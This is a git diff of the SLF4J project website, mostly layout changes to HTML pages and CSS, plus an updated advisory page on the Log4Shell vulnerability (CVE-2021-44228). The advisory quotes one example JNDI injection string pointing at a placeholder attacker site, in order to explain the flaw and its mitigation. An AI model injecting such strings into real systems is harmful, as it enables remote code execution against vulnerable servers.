diff --git a/slf4j-site/src/site/pages/bug-reporting.html b/slf4j-site/src/site/pages/bug-reporting.html index b01db0ef..1d68968d 100755 --- a/slf4j-site/src/site/pages/bug-reporting.html +++ b/slf4j-site/src/site/pages/bug-reporting.html @@ -13,14 +13,15 @@ - -
- -
- - +
+ +
+ +
+ +
@@ -90,6 +91,7 @@ -
+
+ diff --git a/slf4j-site/src/site/pages/css/site.css b/slf4j-site/src/site/pages/css/site.css index 65aa8d5e..8d4cfc66 100755 --- a/slf4j-site/src/site/pages/css/site.css +++ b/slf4j-site/src/site/pages/css/site.css @@ -35,6 +35,13 @@ a { text-decoration: none; } +#container { + margin-left: auto; + margin-right: auto; + max-width: 100em; + +} + #content a:hover { text-decoration: underline; } @@ -117,20 +124,22 @@ strong { /* positioning-layers static and absolute */ #breadcrumbs { - padding: 3px 10px 3px 10px; - margin: 0px 4px 0px 4px; - font-size: small; - border: 1px solid #CCCCCC; + padding: 3px 10px 3px 10px; + margin: 0px 4px 0px 4px; + font-size: small; + border: 1px solid #CCCCCC; /*border-bottom: 1px solid #aaa; /* background-color: #ccc; lime; border-color: #663300;*/ - background-color: #ffd0a0; + background-color: #ffd0a0; /*max-width: 77em;*/ } #left { - position: absolute; - left: 0px; + //position: fixed; + //left: 0px; + + float: left; width: 15em; margin: 4px 0px 0px 4px; padding: 0px; @@ -211,15 +220,16 @@ strong { } #right { - position: absolute; - right: 0px; - width: 14em; - color: #564b47; - margin: 4px 4px 0px 0px; - padding: 0px; - background-color: #ffffff; - border: 1px solid #cccccc; - font-size: 80%; + //position: absolute; + //right: 0px; + float: right; + width: 14em; + color: #564b47; + margin: 4px 4px 0px 0px; + padding: 0px; + background-color: #ffffff; + border: 1px solid #cccccc; + font-size: 80%; } p.menu_header { diff --git a/slf4j-site/src/site/pages/docs.html b/slf4j-site/src/site/pages/docs.html index f9b4034a..2d087597 100755 --- a/slf4j-site/src/site/pages/docs.html +++ b/slf4j-site/src/site/pages/docs.html @@ -10,6 +10,9 @@ + +
+
@@ -58,6 +61,8 @@ -
+
+ + diff --git a/slf4j-site/src/site/pages/download.html b/slf4j-site/src/site/pages/download.html index 433ba625..0a101545 100755 --- a/slf4j-site/src/site/pages/download.html +++ b/slf4j-site/src/site/pages/download.html @@ -13,16 +13,18 @@ - -
- - -
- +
+ + +
+ + +
+ -
+

Latest STABLE version

@@ -58,6 +60,7 @@ sub 2048R/7FBFA159 2012-04-26 -
+
+
diff --git a/slf4j-site/src/site/pages/index.html b/slf4j-site/src/site/pages/index.html index 87514c86..a6456d6b 100755 --- a/slf4j-site/src/site/pages/index.html +++ b/slf4j-site/src/site/pages/index.html @@ -11,15 +11,18 @@ - -
- - -
- -
+ +
+ + +
+ + +
+ +

Simple Logging Facade for Java (SLF4J)

@@ -51,8 +54,15 @@

+

Donations and support contracts

+ +

We welcome your donations to help the SLF4J project. We also + offer support contracts. Please contact sales(at)qos.ch for details. +

+ -
+
+
diff --git a/slf4j-site/src/site/pages/license.html b/slf4j-site/src/site/pages/license.html index 66c2480e..185735d4 100755 --- a/slf4j-site/src/site/pages/license.html +++ b/slf4j-site/src/site/pages/license.html @@ -10,7 +10,9 @@ - + +
+
@@ -68,6 +70,7 @@ -
+
+ diff --git a/slf4j-site/src/site/pages/log4shell.html b/slf4j-site/src/site/pages/log4shell.html index f848df11..e7f0b8ff 100644 --- a/slf4j-site/src/site/pages/log4shell.html +++ b/slf4j-site/src/site/pages/log4shell.html @@ -11,15 +11,21 @@ - -
- - -
- -
+ +
+ + + + +
+ + +
+ + +

Comments on the CVE-2021-44228 vulnerability

@@ -36,8 +42,8 @@ href="https://www.lunasec.io/docs/blog/log4j-zero-day/">mechanics of the vulnerability. The exploit becomes effective when the attacker can inject a string containing a substring in the form - "${jndi:ldap://some.attacker-controlled.site/}". Opportunities - for injecting such a string seem endless. + "${jndi:ldap://some.attacker-controlled.site/}". + Opportunities for injecting such strings appear to be endless.

Log4j 2.x is open for this attack because it performs a @@ -59,6 +65,7 @@

Given that log4j version 1.x is still very widely deployed, we have been receiving a steady stream of questions regarding the vulnerability of log4j version 1.x. +

As log4j 1.x does not offer a look up mechanism, it does @@ -77,6 +84,7 @@

How about the SLF4J API?

+

The SLF4J API is just an API which lets message data go through. As such, using log4j 2.x even via SLF4J does not mitigate the vulnerability. @@ -102,10 +110,31 @@

If log4j-core, located in the org.apache.logging.log4j group, is absent, then you are fine. Otherwise, either remove the said artifact or upgrade - to a log4j 2.x version which fixes the issue. -

+ to a log4j 2.x version which fixes the issue.

+

Is there a bigger lesson?

+ +

CVE-2021-44228 involves a cascade of failures in various + components, of which only one is actually located in log4j + 2.x. Indeed, it takes only a moment of inattention to + unwittingly create a vulnerability. However, vulnerabilities may + arise even when you follow best practices. +

+ +

Thus, while keeping up with the latest patches is a good + practice, it is probably just as important to invest resources + so that your organization is capable of understanding the actual + root causes of various vulnerabilities and can avoid them in the + first place.

+ +

Another question is the reaction speed. Once a vulnerability + is detected, can your organization quickly fix a vulnerability? + On this front, the log4j 2.x developers deserve credit for their + quick response. +

+ +

Further reading

    @@ -118,9 +147,6 @@ href="https://github.com/lunasec-io/lunasec/blob/master/docs/blog/2021-12-09-log4j-zero-day.md">lunasec-io/lunasec
- - -
diff --git a/slf4j-site/src/site/pages/mailing-lists.html b/slf4j-site/src/site/pages/mailing-lists.html index 3571f5f4..73d2f9ac 100755 --- a/slf4j-site/src/site/pages/mailing-lists.html +++ b/slf4j-site/src/site/pages/mailing-lists.html @@ -10,14 +10,15 @@ - - -
- -
- + +
+ +
+ +
+
@@ -128,6 +129,7 @@

 

-
+
+
diff --git a/slf4j-site/src/site/pages/news.html b/slf4j-site/src/site/pages/news.html index 300c2127..210ae8d6 100755 --- a/slf4j-site/src/site/pages/news.html +++ b/slf4j-site/src/site/pages/news.html @@ -12,15 +12,17 @@ - - -
- -
- +
+ + +
+ +
+ +
@@ -2421,6 +2423,10 @@

13 April 2005 - start of work on SLF4J project

Launch of the SLF4J project. Work has begun on the web-site, svn - repositories as well as the source code.

- + repositories as well as the source code.

+ + +
+
+ +